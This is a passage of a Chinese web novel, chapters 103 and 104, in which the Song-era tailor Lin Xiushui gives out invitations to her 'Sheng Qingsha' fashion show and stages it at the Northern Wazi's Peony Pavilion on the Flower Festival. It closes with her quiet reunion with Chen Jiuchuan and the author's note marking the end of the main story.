第 103 章 已经走到大家面前 杂衣时报试水成功, 隔天晚上,林秀水请思珍、桑英和小春娥,在食铺里吃饭。 林秀水点了罐里爊鸡丝粉、鳗丝、羊鹅事件、杏仁膏、椰子酒。 春寒料峭, 刚下过一场小雨,几人坐在屋内挺暖和,桑英喝了一口酒, 脸在最近的风吹日晒里,晒得有些黑。 桑英有些许郁闷,这两个来月为了米行收糯米转卖而在外奔波,刚从板桥镇收米回来, 错过了许多热闹的事情。 “天呐,怎么这么不赶巧,早知道有这么多看头, 我肯定不管什么圆糯米,长糯米,”她真为自己感到惋惜,“那时候我竟然心思都放糯米上,真是不解米情啊。” “我看你挺了解米的啊,”林秀水拆穿她,“也没见你少吃八宝饭、糯米藕、醪糟、 赤豆糯米饭啊, 还为了一袋金钗糯跟人抢起来。” 桑英嘿嘿笑一声, “这米酿酒一绝, 我还不是为了大家, 替你们的口福着想。” “快说说,我刚回来没多久,从清河坞上船亭那开始,都在叫卖时报, 我当时还纳闷了,结果才知道是你们几个出的,实在厉害!” “别,是她们两出的,”小春娥吃了一口烧鹅,连忙摇头,“不过我姚某人心服口服,承认阿俏跟思珍确实厉害。” 思珍哈哈大笑,“等我真跟阿俏一样出名,再来夸我也不迟,我还是个半吊子呢。” “我知道的,”林秀水边吃边点头,丝毫不谦,“我不会骄傲自满的。” 三人齐齐看她,林秀水说:“要钱没有。” 切,这里面最有钱,最富有的就是她了,身家上千两。 林秀水举起酒杯,“我很荣幸,毕竟从前最穷的也是我。” 她自夸,“我真是中看又中用。” 小春娥噗嗤笑出了声,又急忙捂住嘴,桑英唔了声,“说的是你的钱袋子吗?” 思珍补上两个字,“实用。” “我之前总有个朴实的愿望,那就是当金银交引铺的钱柜,”小春娥将手挨在林秀水的胳膊上,她笑嘻嘻地继续说,“可是那离我太远了。” “我眼下认为,还是当阿俏的钱袋子更好。” “顿顿都有钱。” 屋里当即笑成一片,笑声轻快而活泼。 吃到最后,林秀水挨个发了一张邀请帖,“最先发给你们,到时候留出时间来啊。” 小春娥接到邀请帖,仔仔细细看过后,突然怪叫道:“天呐,你在北瓦子最大的看棚里的牡丹棚里包场了吗?” 北瓦舍和南瓦舍可大不相同,南瓦子地处比较偏,看棚所要的价钱最多不会超过一两,即使去年林秀水和汪二娘几人的蝶恋花盛行,引来许多看客,但终究无法和北瓦子相比。 有诸多来自临安的名角在北瓦舍里出演,内有五座壮观的神楼,七八个大看棚,来往人数繁多,又以牡丹棚所容纳人数最多,总共可以坐下一千多人,有八座小楼相连,中间构成台面循环相连。 小春娥很清楚,倒不是她去牡丹棚里看过,而是那些对她十分出名的杂剧、小唱、杖头傀儡戏、说书、散乐等等名角,都常驻在牡丹棚里,名噪一时。 她几乎要踢掉椅子站起来,举起手来为林秀水欢呼喝彩,她知道林秀水以裁缝 的身份,走到如今的不易。 不过能够将春日新款,安排到北瓦子里,并非林秀水包场和出钱,她即使到日赚百两,也舍不得包下几千两的看棚。 而是北瓦子的人请林秀水去的,出了上千两的价钱,想她给杂剧的戏台子杨从宜和唱赚李恩期做两套衣裳,最好别具一格,林秀水还没有答应。 她要先将胜轻纱的事情忙完,还有杂衣时报,招更多的裁缝,不少想请她做衣裳的,她都将排期往后延,她需要很充裕的时间赶制胜轻纱压轴的服饰。 在制作成衣期间,林秀水将邀请帖逐一送到她熟识的人手里。 先给了已经被调派到望火楼上的张木生,他接过的时候,手里的黑灰都没有擦干净,捏住一角,另一只手使劲往衣裳上蹭,结果越蹭越脏。 他只好往脸上抹,再双手接过,以彰显自己的重视,“姐,你知道的,我这个人打小就喜欢看些衣裳服饰。” “别看我这一年登上了望火楼,站得更高了,我骨子里可是一点没有变。” 林秀水从下到上打量他,眼神盯着他鬓发里露出来一抹红,有点难以言说,确实没有变。 谁家好人当上了潜火兵,还是一样喜欢大红簪花呢,甚至还是牡丹花。 林秀水自己只插了几朵小桃花,她不止一次说张木生是个行走的花架,总能在他脑袋上看见一年四季时兴的花。 可惜不大能带着眼睛看。 要鼓起嘴巴,需要许多勇气。 她从头到脚看了一遍张木生,想从嘴里搜罗些许词汇,也同样夸赞他的着装,没有想出来,只好说:“你又高了。” “我已经三个月没长了,”张木生实话实说。 林秀水说:“记得来看,人挤一挤说不定又蹿了。” “嗯?”张木生不理解。 他顶着张糊满黑灰的脸,穿平底的靴子,满面轻松地说:“我已经不在乎了。” 真的不在意了。 人不会执着自己拥有的东西。 “我到时候肯定会去的,”张木生站在望火楼下,跟林秀水挥手,又跑进楼里,在蜿蜒而上的楼梯里逐渐走得更高。 林秀水慢慢从望火楼走出来,路上有人认出来,跟她打招呼,“阿俏,早啊,新衣裳做好了没?” “这一期时报写得相当好,下一张什么出?” “水记还招人吗?” 她一个个回复,还碰见行走如风的张牙郎,他在林秀水这里发了不小的财,看见她跟看到金光闪闪的财神。 “林东家,哎呀,怎么就这么巧在这碰上了,你看看,最近有没有要买房廊的,”张牙郎见她满脸堆笑,手已经准备伸到腰间拿地经了,他给林秀水看好了全桑桥渡空置的房廊。 好像林秀水发了天大的财。 林秀水说:“便宜点。” “十两银子就买。” “不行就算了。” 她不管有钱没钱,倒都确实没有变。 赶着去送下一张邀请帖,接过张牙郎手里的地经,盘算在哪怕买地皮,会更适合她开个裁缝作,这地皮相当贵,起码五百两银子。 林秀水也很敢想,她一路想,一路走到桑树口,在缝补廊棚里挨个送出帖子后,又往老桑树里走。 陈桂花的洗浴营生搞得如火如荼,甚至已经开始琢磨,要在南货坊那买一间专门的门面来干洗身子和洗头的行当,就叫陈桂花香水坊,另外雇几个人一块跟她梳头编发髻。 林秀水看到她时,她在院子里给年轻小娘子梳发髻,手里套了两个银镯子,高发髻,发髻上插着一枚包金的梳背儿。 陈桂花梳完发髻,收好手里的木梳,转头看见门边的林秀水惊讶喊出声,“秀姐儿!” 她急忙道:“我家里贵客来了,梳完这个就不梳了,大家见谅啊。” 等人陆续走后,陈桂花关上门,林秀水说明来意,她一拍手,“好,那天我说什么都不赚了,也得过去捧场。” “我最近挣得可不少,你瞧出来了没?” 林秀水看她刻意提起来的右胳膊,故意将精光的鬓角,没有一丝一毫的碎发挽到耳朵后边,露出银晃晃的镯子。 她喝了一口陈桂花泡的茶,点点头,“看出来了。” “看出来就对了,我跟你讲,俗话说财不外露,她们有的人金包银,”陈桂花得意地晃晃自己手里的镯子,“我陈桂花可跟别人不一样,我这是银包金。” “谁能想到,我这里面是实心的金子。” 大概真的有人,林秀水想到她姨母,王月兰也有这种欺人却不欺自己的行为。 跟陈桂花一样,生怕别人惦记上她的钱,毕竟王月兰如今也是个月入过五贯,加上有个很有钱的外甥女。 她更绝,过年时林秀水给她买金簪子,她要人给她包层铜的,给她做衣裳,锦面绸面的穿里面,至于别人知道她有钱,要跟她借钱,她谁都说好,谁都不借,再问就是买房屋亏了。 不过她倒是很喜欢戴羊皮金边头箍,还有羊皮里的鞋子,她说大家没那么识货,偶尔也要满足一下自己的虚荣心。 林秀水不管对于王月兰,或是陈桂花的行为,都有点想说怼,因为对字从心不从口。 陈桂花送她出门时,一口保证,“我穿好点去,肯定不会给我们桑树口出来的人丢面子。” “你看看能不能给我插个空,做套新衣裳呗,我看你姨母穿的那件花青罗褙子就挺好,我也不学人样,给我做身牡丹花罗的就成。” 林秀水很给她面子,“行。” “下回你铺面买了,我再给你做身。” “秀啊,你说说你,”陈桂花感动,“我可就等着了。” 林秀水朝她挥挥手,“我觉得很快。” 以陈桂花如今的本事,又很能吃苦,一个人能挑起全家的大梁,她认定陈桂花发家路虽然走得艰辛,可自己能靠得住。 能靠自己,就是最大的福气。 这句话同样很合适苏巧娘。 苏巧娘的布袋木偶已经在多个瓦舍里出演,比起以前来,已经有很多的看客,徒弟也收了五个。 虽说规模无法跟她从前待的傀儡班子相比,可跟她自己比的话,她一年胜一年。 林秀水到苏巧娘门前时,她在院子里雕刻木偶,脸上沾了不少的粉屑,手里握着刻刀。 “好啊,我很早就等着了,”苏巧娘放下刻刀,接过这封邀请帖,当下就拆开来看了,她惊叹,“北瓦子,牡丹棚,阿俏你真的很有本事啊。”林秀水此时倒挺谦虚,“我们两个都挺有本事的。” 她说:“跟你一样,我也有很长的路要走。” 苏巧娘此时却不如从前那样,说着很漫长的十年二十年,而是很从容地说:“可你已经走了不少路。” 已经走到了大家的面前—— 作者有话说:非常非常感谢大家的包容,我预计明天或者后天就要完结了[红心] 谢谢每个人[比心] 红包感谢。《 》 【正文完】 第104章 第 104 章 正文完 胜轻纱秀定在了二月十五, 花朝节那一天。 在每一年的花朝节,除了在树枝上挂红布、彩带、红线,祭拜花神、赏花、扑蝶以外, 宋人也会亲手在这一日种植各种花卉,期望今年到来年前花朵次第开放。 林秀水倒不喜欢种花,她只喜欢种布。 不过她去年在衣裳上的收获, 先有荷莲衣裳,再有满池娇,两面穿旋裙,到蝶恋花的种种衍生, 以及杂衣时报、胜轻纱,蝶和花都跟花神沾边,顺势定在了花朝节。 北瓦子对胜轻纱很重视, 在开场前的半个月前,所有勾栏门前的柱子、青砖墙上就已经开始张贴旗牌、纸榜、帐额、靠背,写明牡丹棚二月十五日为胜轻纱专场。 进到牡丹棚的一张票钱为五百文,北瓦子光当日就卖出了六百多张,买的绝大多数都为女子,她们很愿意给林秀水捧场。 花朝节当天,很多女子或穿红或戴冠, 或是着新装前往北瓦子。 胜轻纱专场在下午, 她们早早赶过来, 焦急又颇为兴奋地等待, 直到穿退红色襦裙的林秀水走到高高的台上。 她面向底下在座的所有人,此时日光正盛,照在她的身上,说话铿锵有力, “非常感谢大家来参加我们胜轻纱的秀场。” “距离开场还有两个时辰,大家赶来一场都不容易,我们也并不想空等在这里。” “不如今日由我做令官,我们来玩一场传花令。” 花朝节自古有传花令的风俗,只不过这是酒令的一种,由令官拿着花枝,一人击鼓或是拿筷子敲击瓶子,等声音停下来后,手里拿到花枝的人则要罚酒或是作诗一首。 跟女子的关系倒不大,在场不少人回顾自己的半生,既没有喝过酒也不会作诗,更不要提玩什么传花令了。 当即便有穿绿罗裙的娘子站起来说:“要怎么玩,我可不会喝酒,又不大识字,更是不会作诗。” 等她说完,便有好多附和声响起,林秀水拿一束杏花的花枝慢慢走下来,北瓦子的看棚座位高低错落,由很多中空的楼左右弯弯绕绕连接而成,她走了几步笑道:“谁说我们要喝酒了。” “我们也不兴作诗那一套。” “要玩就玩场不一样的。” 她的身后木质台子上有人捧着一簇簇真花或象生花上来,有桃花、牡丹、梅花、海棠、石榴,也分别代表桃红、牡丹红、玫红、海棠红、石榴红。 但林秀水的手里握一把盛开的杏花,也是二月的花神。 “我们这场的传花令,也叫作退红局。” 花朝节只有赏红、挂红的,从来没有退红二字,大家相互交头接耳,窃窃私语,并不理解林秀水的意思。 林秀水含笑向众人解释,退红色通常都是用茜草染出来的,染完头遭后,还需要用另一种红染料苏木,加明矾来褪掉部分的红,留下近似于沉淀后的浅粉色,也被称为弗肯红,不肯红。 退红盛行于唐朝,到了宋朝不大时兴,更时兴的是石榴红。 林秀水说:“在布料上褪去红色为退红,而在画作上,则为留白。” 熟知诗文的人很快明白她的意思,何为退红局,有句诗叫花褪残红青杏小。 哪怕不懂的人,也从林秀水传花令,从颜色最深的石榴花开始传,依次是牡丹、海棠、梅花,到最浅淡的桃红色,最后留下了杏花白。 因为胜轻纱是白色,而且花朝节正巧是二月杏花神,从依次退红开始到留下白色,也作为胜轻纱开场前的预热。 又是新的开始,杏也为新和幸。 这一次的座位,是特意按照年龄划分来坐的,越年老坐的越前面,越年轻越往后,传花令也从最年轻,最为青春明媚的小娘子手里依次往前传。 总共有五六百朵花,在悠扬婉转的鼓声里,在每一位女子的手里,完成一场退红和留白。 最后这些杏花留给了不再年轻的她们,也留给了最前面的老裁缝们,林秀水手里的那株杏花送给了金裁缝和王月兰。 金裁缝强忍住自己的眼泪,她说:“桐花万里丹山路,雏凤清于老凤声。” 这是金裁缝对于林秀水最好的祝愿。 王月兰则仍由自己淌下泪水,糊了满脸,将杏花一朵朵扎在林秀水的头上。 她哽咽着说:“是青出于蓝而胜于蓝。” 也是青出于兰而胜于兰。 她永远为林秀水一路走来,一路得到的所有感到庆幸,又为之感到骄傲。 林秀水拥抱她,将花传给了小荷。 在这特殊的传花开场里,退红胜白,终于迎来了胜轻纱。 每一个人聚精会神地盯着台面,没人看台上的脸,目光都凝视在每一位从长廊的戏台后走出来的身影上。 下午到了阳光最盛的时候,光能清晰地照出衣裳的纹理。 第一件入场的衣裳,是很时兴的石榴红裙,只不过这次出场的,颜色更加饱满,是那种刚刚好好盛开到极艳的石榴花红,红纱裙被风一吹,如同花朵在枝头。 整套服饰并没有很特殊的装饰,不过转眼大家惊呼出声,第一位女子,将手臂上悬挂的红色长披帛握在手里,往空中抛,二月的天,风从来不间断,长而红的披帛飘到空中,缓缓被风吹到更远的地方。 “我明白了,”有人抬头凝望着飘走的红纱,“这就是轻啊。” 胜轻纱的轻。 今日又没有刮大风,就算刚才吹过来一阵风,也不过吹乱的鬓间头发,吹不走她们悬挂起来的披帛,哪怕她们试着将披帛往上甩,也不过随着风缓缓落到其他的腿边而已。 都知道自己无法像风筝一样放飞一条披帛,但是胜轻纱可以。 在往后很多年里,红色轻纱飞舞到远处的画面,被很多人铭记,关于胜轻纱的轻,也在许多年里,没有人能超出其右。 到第二件衣裳进场时,有些人还反复回味着刚才的那一抹红,到转变成白纱,仍在感慨退红的方式实在很绝妙。 而白纱的进场,借助了光照,白的反光,一瞬间又将众人的目光拉回到台上。 那是一套白色服饰,从该穿着娘子的花朵头饰,连同交领上襦、百褶裙全为白色。 白色并不代表不吉利,越白的色则越贵,因为时下的布料最多为麻布,颜色都偏黄和暗淡,直接缫丝织出来的布料都不算纯正的白布,到纯白这种颜色,需要很多的工序。 台上被光衬得很白的底色,让在座的人都挺直脊背,眼睛一错不错地看着。从交领上裳的米白色,再缓缓挪到裙子的纯白色上,即使看不太清楚花纹,但白成这样,近似于天上最蓝的时候飘的云朵,已经不大在乎花纹了。 随着该娘子从弯折的回廊中缓缓走到面前时,才落到绣制得特别繁复的花纹上,哪怕只有白,也有很强的冲击。 台下开始躁动,说话声音越来越响,等到那娘子将手 里的白披帛悬挂在最前面的柱子上,风吹起白纱,轻盈地飘扬,胜白留白,至此终成。 随后每一件出场的白裙,白衣,上面的绣样,或者是特意抽纱而成的镂空,给在场每个人留下了不同的印象,除了美以外,有说像白花、白雪、珍珠、白鸟、白色蝴蝶等等,每一件都有不同的意象,都同样深刻。 直至有人喊道:“最后一件衣裳——编白。” 当众人已经看累时,产生一丝困倦后,等看清最后出场的衣裳,从喉咙里爆发出不被控制的惊叹,整间牡丹棚里像是几百只鸟叫声同时响起来,传得很远。 她们终于知道,什么是五彩斑斓的白。 明明这条裙子都没有用很特殊的剪裁,非常简单的形制,刚出来时有些人不乏嘘声,太过于潦草,甚至潦草到不像是林秀水的手笔。 直到当它走到了光底下,天上的光照射到裙上,不管左右两侧坐着的人,都从裙上看到了独一无二的偏光,那种极致的光彩,闪闪发亮。 每一个人都能说自己从白裙子上,看见了金光、银色、蓝、紫,或者是橙色、粉,就像天上的虹彩。 可当它走起来,走动间,一截截不间断的光彩,一下暗,一下亮,于偏光里,大家都看见了像是一下乍然到空中,最绚烂最璀璨的烟花。 没有人能从这条裙上挪开眼,完全是浮光跃金。 尤其走到近处,光没有照到裙上,而是挪到了裙摆上,那裙摆蜿蜒往上的花,居然是用螺钿打孔,加金线编织而成的,远处看的白,又变成了近处的虹彩,闪烁独一无二的光彩。 “我都有点没法喘气了,”有人长久地屏气凝神,直到心跳动得飞快,才知道自己看得太过入神,完全忘记了呼吸。 “仙子下凡,”她身边的人自顾自地说着,“我看见了仙子的衣裳。” 即使到落幕,大家也久久陷入了一种遐想,认为是神迹,哪怕后来林秀水在杂衣时报里说,是用金线、银线和各种彩线,一根根编织出来的,但是引发了更加狂热的讨论和追捧。 有句话虽然不是用来形容林秀水的,可非常合适今天的她。 叫作并刀如水,吴盐胜雪。 当天从胜轻纱秀场出来的,或是失魂落魄,或是十分慷慨激昂,手舞足蹈。 林秀水接受了所有的夸赞,直到大家终于肯放她离开,万家灯火点燃,月色皎洁,她被簇拥着出来,看见了门口拿花等她的少年郎。 “阿俏,”陈九川朝她缓步走来。 林秀水朝他看去,从簇拥的人群里朝他走去,迈着轻快的步伐,即使有几个月没有见面,两人却没有丝毫生疏。 一封封的书信往来,相隔千里,却拉近了两人的距离,串联起以后命运的相连。 “陈九川,”林秀水接过他的花,跟他并肩走在月色里。 陈九川偏头,“我在这里。” 两人旁若无人,在林秀水身后出来的桑英跟小春娥,两人面面相觑。 “这事你知道吗?”小春娥茫然。 桑英已经从二人的背影里回过神来,很平静地开口,“阿俏好像忘记告诉我们了。” 她往前走了两步,她尖叫,“啊啊啊啊!” “天呐,我到底看到了什么??” 小春娥无语,还以为她有多淡然呢,显得她差点被绊倒很丢脸啊。 即使林秀水说,没跟大家说,当时是在还未展开的情愫中,后面她太忙了,还是受到了两人的一致深深谴责。 林秀水和陈九川走在一块,王月兰和金裁缝也一同看见了,王月兰倒清楚,也不惊讶,她跟金裁缝说:“哎,小女儿家的心事都这么好。” “年轻啊。” 金裁缝慢慢地说:“挺好的。” “谁说杏只有杏白呢,还有青梅竹马,两小无嫌猜。” 在这个胜轻纱的月色里,明月天青,心与众同。 胜轻纱过后,等待林秀水的是蜂拥而至的称颂和加冕。 也是锦绣编织的前途,灿烂光明。 她明白,她仍走在路上。 往后幸于今朝,而胜今朝。《 》